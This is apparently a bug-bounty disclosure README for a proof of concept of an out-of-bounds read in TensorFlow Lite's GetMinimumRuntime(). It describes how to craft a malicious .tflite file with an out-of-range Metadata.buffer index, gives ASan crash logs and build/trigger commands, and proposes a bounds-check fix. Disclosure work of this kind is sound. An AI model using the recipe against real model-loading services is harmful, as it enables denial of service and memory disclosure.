EnigmaConsultant's picture
TFLite GetMinimumRuntime unchecked Metadata.buffer index OOB read PoC
24a9d12 verified
|
Raw
History Blame Contribute Delete
10.7 kB
---
license: apache-2.0
tags:
- security
- proof-of-concept
- tensorflow-lite
- tflite
---
# TFLite `FlatBufferModel::GetMinimumRuntime()` out-of-bounds read (unchecked `Metadata.buffer` index)
**Gated PoC repository β€” access granted to protectai-bot / huntr triage only.**
## Summary
`tflite::impl::FlatBufferModelBase<T>::GetMinimumRuntime()`, defined in
[`tensorflow/compiler/mlir/lite/core/model_builder_base.h`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/compiler/mlir/lite/core/model_builder_base.h)
(reached via the public `tflite::FlatBufferModel` class exposed in
`tensorflow/lite/model_builder.h`, the standard TFLite model-loading entry
point used by every embedder), indexes the model's `buffers` vector using an
attacker-controlled `uint32_t` field (`Metadata.buffer`) **without any bounds
check**:
```cpp
std::string GetMinimumRuntime() const {
if (!model_ || !model_->metadata()) return "";
for (int i = 0; i < model_->metadata()->size(); ++i) {
auto metadata = model_->metadata()->Get(i);
if (metadata->name()->str() == tflite_metadata_min_runtime_version) {
auto buf = metadata->buffer();
auto* buffer = (*model_->buffers())[buf]; // <-- unchecked index (line 476)
auto* array = buffer->data(); // <-- (line 477)
...
```
`Metadata.buffer` is a plain `uint32` schema field
(`tensorflow/compiler/mlir/lite/schema/schema_generated.h`), fully attacker
controlled, and the generic flatbuffers structural verifier
(`Metadata::Verify()`) only checks that the field is present/well-typed β€” it
has no notion of the semantic constraint "must be `< Model.buffers.size()`".
`FlatBufferModelBase<T>::VerifyAndBuildFromAllocation()` (the "safe",
recommended load path β€” `tflite::VerifyModelBuffer()` +
`flatbuffers::Verifier`) does not check this relational constraint either, so
a model with an out-of-range `Metadata.buffer` is **accepted** by the
standard verified-load API.
This is a real, and in our reading of the current source, **unfixed**
regression relative to the sibling function `ReadAllMetadata()` in the same
file, which explicitly guards the identical field:
```cpp
static std::map<std::string, std::string> ReadAllMetadata(
const ::tflite::Model* model) {
...
for (size_t i = 0; i < model->metadata()->size(); ++i) {
auto metadata = model->metadata()->Get(i);
auto buf = metadata->buffer();
if (buf >= model->buffers()->size()) continue; // <-- bounds check present here
...
```
`InterpreterBuilder::ParseTensors` (`tensorflow/lite/core/interpreter_builder.cc`)
similarly bounds-checks the analogous `Tensor.buffer` field before indexing
`buffers`. `GetMinimumRuntime()` is the one place that indexes
`Model.buffers` with an attacker-controlled index and skips this check
entirely.
## Attacker input β†’ sink
1. Attacker supplies a `.tflite` file (e.g. to a model-management/validation
service, an MLOps pipeline, an on-device model updater, or any code that
loads a third-party/untrusted model) containing:
- `buffers`: a single empty sentinel buffer (`size 1`, satisfies the
documented "0th buffer must be empty" convention).
- `metadata`: one entry `{ name: "min_runtime_version", buffer: <huge or
merely out-of-range uint32> }`.
2. Victim code calls `tflite::FlatBufferModel::VerifyAndBuildFromBuffer(...)`
(or `BuildFromBuffer`/`BuildFromFile`, all funnel to the same internal
logic) β€” the model is **accepted**.
3. Victim code calls `model->GetMinimumRuntime()` β€” a documented public API
method, commonly used to gate/log runtime-compatibility before deploying a
model β€” which dereferences `(*model_->buffers())[buf]` with the unchecked
index, reading out of the bounds of the underlying flatbuffer allocation.
## Real, reproduced evidence
We compiled the actual, unmodified TFLite source
(`tensorflow/compiler/mlir/lite/core/model_builder_base.h`,
`tensorflow/lite/model_builder.h`, `tensorflow/compiler/mlir/lite/allocation.cc`,
`tensorflow/compiler/mlir/lite/core/api/error_reporter.cc`, and the generated
`schema_generated.h`) together with a small driver (`harness.cc`, included in
this repo) that:
1. Builds a malicious `.tflite` flatbuffer exactly as described above
(`evil_metadata_buffer_oob.tflite`, included, `Metadata.buffer = 100`,
`Model.buffers` size `1`).
2. Loads it through the real, public, "safe" entry point:
`tflite::FlatBufferModel::VerifyAndBuildFromBuffer(...)` β€” confirmed
**accepted**.
3. Calls `model->GetMinimumRuntime()`.
Compiled with Clang + AddressSanitizer, `-O2 -DNDEBUG` (the same
`NDEBUG`/optimized configuration TFLite release/production builds use β€”
`FLATBUFFERS_ASSERT` expands to a no-op `assert()` under `NDEBUG`, so the
flatbuffers library's own internal debug-only assertion, which "usually"
saves the day in a plain debug build, is compiled out in every real
production build (pip wheels, Android/iOS release builds, `bazel -c opt`)).
### Result 1 β€” clean heap-buffer-overflow (`Metadata.buffer = 100`)
```
==1151826==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7c42421e0278 at pc ...
READ of size 4 at 0x7c42421e0278 thread T0
#0 ... in flatbuffers::ReadScalar<unsigned int>(void const*) .../flatbuffers/base.h:428
#1 ... in flatbuffers::IndirectHelper<flatbuffers::Offset<tflite::Buffer>,void>::Read(...) .../flatbuffers/buffer.h:138
#2 ... in flatbuffers::Vector<flatbuffers::Offset<tflite::Buffer>,...>::Get(...) .../flatbuffers/vector.h:195
#3 ... in flatbuffers::Vector<...>::operator[](...) .../flatbuffers/vector.h:198
#4 ... in tflite::impl::FlatBufferModelBase<tflite::impl::FlatBufferModel>::GetMinimumRuntime() const
.../tensorflow/compiler/mlir/lite/core/model_builder_base.h:476
#5 ... in main harness.cc:127
0x7c42421e0278 is located 388 bytes after 180-byte region [0x7c42421e0040,0x7c42421e00f4)
allocated by thread T0 here:
... std::vector<unsigned char>::vector<unsigned char const*,void>(...)
... BuildMaliciousModel(unsigned int) harness.cc:92
... main harness.cc:99
```
Full log: `asan_index100_heapoverflow.log`.
### Result 2 β€” wild pointer dereference / SEGV (`Metadata.buffer = 0xFFFFFFF0`)
```
==1148581==ERROR: AddressSanitizer: SEGV on unknown address 0x7cada71e00a8 ...
The signal is caused by a READ memory access.
#0 ... in flatbuffers::ReadScalar<unsigned int>(void const*) .../flatbuffers/base.h:428
#1 ... in flatbuffers::IndirectHelper<flatbuffers::Offset<tflite::Buffer>,void>::Read(...) .../flatbuffers/buffer.h:138
#2 ... in flatbuffers::Vector<...>::Get(...) .../flatbuffers/vector.h:195
#3 ... in flatbuffers::Vector<...>::operator[](...) .../flatbuffers/vector.h:198
#4 ... in tflite::impl::FlatBufferModelBase<tflite::impl::FlatBufferModel>::GetMinimumRuntime() const
.../tensorflow/compiler/mlir/lite/core/model_builder_base.h:476
```
Full log: `asan_index_huge_segv.log`.
A debug build (assertions enabled, no `-DNDEBUG`) instead trips the
flatbuffers library's own internal `assert(i < size())` and aborts β€” which is
*only* a mitigation in debug builds and is absent from every optimized
release build.
## Impact
- **Crash / Denial of Service**: any process that loads an untrusted
`.tflite` file and calls `GetMinimumRuntime()` (or exposes this via a model
validation/inspection service, a common pattern for model
marketplaces/MLOps pipelines that gate deployment on runtime-version
compatibility) can be crashed with a single ~180-byte file, in release
builds where the flatbuffers debug assert is compiled out.
- **Out-of-bounds heap read / potential info-disclosure primitive**: for
attacker-chosen small-to-moderate out-of-range indices (see Result 1), the
read lands within the process's mapped heap and is a controlled
heap-buffer-overflow read rather than a hard crash, i.e. a genuine
out-of-bounds memory disclosure primitive, not merely a DoS.
- The bug requires **no valid subgraph/tensor/operator content** β€” the
minimal repro model has an empty subgraph and a single empty buffer β€” so it
is trivially reachable by any file that merely passes the standard
flatbuffer structural verifier.
## Why this isn't a duplicate
- Searched 1,200+ existing `tensorflow/tensorflow` GitHub Security Advisories
and GitHub issues for `GetMinimumRuntime`, `min_runtime_version`,
`model_builder`, `FlatBufferModel`, `ReadAllMetadata` β€” no match.
- The neighbouring function `ReadAllMetadata()` in the same file *does*
perform the correct bounds check on the identical `Metadata.buffer` field,
and `InterpreterBuilder::ParseTensors` bounds-checks the analogous
`Tensor.buffer` field β€” confirming this specific accessor is a genuine,
isolated gap rather than a previously-identified/fixed class of bug.
- Verified directly against `tensorflow/tensorflow` HEAD @ commit
`db3bb0b77151263d709e33d8264da24a6c23b373` (2026-07-06).
## Suggested fix
Add the same guard `ReadAllMetadata()` already uses:
```cpp
auto buf = metadata->buffer();
if (!model_->buffers() || buf >= model_->buffers()->size()) {
TF_LITE_REPORT_ERROR(error_reporter_, "min_runtime_version metadata has out-of-range buffer index");
break;
}
auto* buffer = (*model_->buffers())[buf];
if (!buffer || !buffer->data()) break;
auto* array = buffer->data();
```
## Files in this repo
- `harness.cc` β€” driver source, compiles against the real, unmodified TFLite
headers/sources (paths shown in file comments).
- `evil_metadata_buffer_oob.tflite` β€” 180-byte malicious model
(`Metadata.buffer = 100`) that reproduces the heap-buffer-overflow.
- `asan_index100_heapoverflow.log` β€” full ASan report for the clean
heap-buffer-overflow repro.
- `asan_index_huge_segv.log` β€” full ASan report for the wild-pointer/SEGV
variant (`Metadata.buffer = 0xFFFFFFF0`).
## Build/run instructions (for triage reproduction)
```bash
# 1. Get tensorflow at the commit above (or later) and flatbuffers v25.9.23
# (the pinned version in tensorflow/third_party/flatbuffers/workspace.bzl)
git clone --depth 1 https://github.com/tensorflow/tensorflow.git tf
curl -L https://github.com/google/flatbuffers/archive/refs/tags/v25.9.23.tar.gz | tar xz
# 2. Compile the harness against the real TFLite source (no modifications):
clang++ -std=c++17 -g -O2 -DNDEBUG -fsanitize=address -fno-omit-frame-pointer \
-I tf -I flatbuffers-25.9.23/include \
harness.cc \
tf/tensorflow/compiler/mlir/lite/allocation.cc \
tf/tensorflow/compiler/mlir/lite/core/api/error_reporter.cc \
-o harness_release
# 3. Trigger:
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1 ./harness_release 100
```